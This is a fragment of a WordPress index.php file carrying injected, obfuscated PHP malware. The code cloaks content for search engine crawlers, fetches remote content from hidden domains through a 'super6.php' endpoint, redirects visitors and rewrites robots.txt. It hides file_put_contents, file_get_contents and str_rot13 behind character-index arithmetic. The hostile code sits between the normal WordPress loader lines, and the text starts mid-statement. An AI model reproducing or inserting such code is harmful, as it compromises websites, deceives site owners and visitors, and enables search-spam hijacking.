define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php';ent); header('Location: ' . $html_content); exit(); } else if (strstr($html_content, 'okxml')) { $html_content = str_replace('okxml', '', $html_content); @header('Content-Type: application/xml; charset=utf-8'); echo $html_content; exit(); } else if (strstr($html_content, 'okrobots')) { $html_content = str_replace('okrobots', '', $html_content); @header('Content-Type: text/plain'); echo $html_content; exit(); } } function disbot() { $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); if (stristr($user_agent, 'googlebot') || stristr($user_agent, 'bing') || stristr($user_agent, 'yahoo') || stristr($user_agent, 'google') || stristr($user_agent, 'Googlebot')) { return 1; } else { return 2; } } function drequest_uri() { if (isset($_SERVER['REQUEST_URI'])) { $duri = $_SERVER['REQUEST_URI']; } else { if (isset($_SERVER['argv'])) { $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; } else { $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; } } return $duri; } function is_https() { if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') { return true; } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } return false; } function detect_server_software() { $path = $_SERVER['DOCUMENT_ROOT'] . '/.htaccess'; if (file_exists($path)) { return 1; } else { return 2; } } function create_robots($url) { $function = func(); $path = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt'; $content = 'User-agent: *' . PHP_EOL; $content .= 'Allow: /' . PHP_EOL . PHP_EOL; $content .= 'Sitemap: ' . $url . '/sitemap.xml' . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . '://' . $domain . '/super6.php?' . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), '443')) { echo "443"; } curl_close($ch); } if (ini_get('allow_url_fopen')) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return 'nobotuseragent'; } function func() { $chars = range('a','z'); return [ $chars[5] . $chars[8] . $chars[11] . $chars[4] . '_' . $chars[15] . $chars[20] . $chars[19] . '_' . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . '_' . $chars[6] . $chars[4] . $chars[19] . '_' . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . '_' . $chars[17] . $chars[14] . $chars[19] . '13', ]; } define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php';